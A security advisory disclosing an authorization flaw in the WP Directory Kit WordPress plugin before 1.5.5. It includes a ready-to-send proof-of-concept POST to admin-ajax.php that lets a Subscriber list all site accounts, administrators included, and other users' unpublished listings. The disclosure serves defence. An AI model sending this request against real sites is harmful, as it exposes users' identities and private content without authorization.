WP Directory Kit < 1.5.5 – Subscriber+ User and Unpublished Listing Disclosure | CVE 2026-16595

Description

The plugin does not perform authorization or nonce checks on one of its authenticated AJAX actions, allowing any authenticated user such as a Subscriber to disclose the site's user list and unpublished listings belonging to other users.

Proof of Concept

Prerequisite: a Subscriber account, and at least one directory listing in draft or unapproved state owned by another user.

As the Subscriber, POST to admin-ajax.php:

POST /wp-admin/admin-ajax.php
Cookie: <wordpress_logged_in cookie for a Subscriber account>
Content-Type: application/x-www-form-urlencoded

action=wdk_admin_action&page=wdk&function=index

Result: HTTP 200 with the Listings Management grid HTML. The user-filter control lists every account (ID and display name, including administrators), and the grid includes the titles of other users' draft/unapproved listings, which return 404 when requested directly.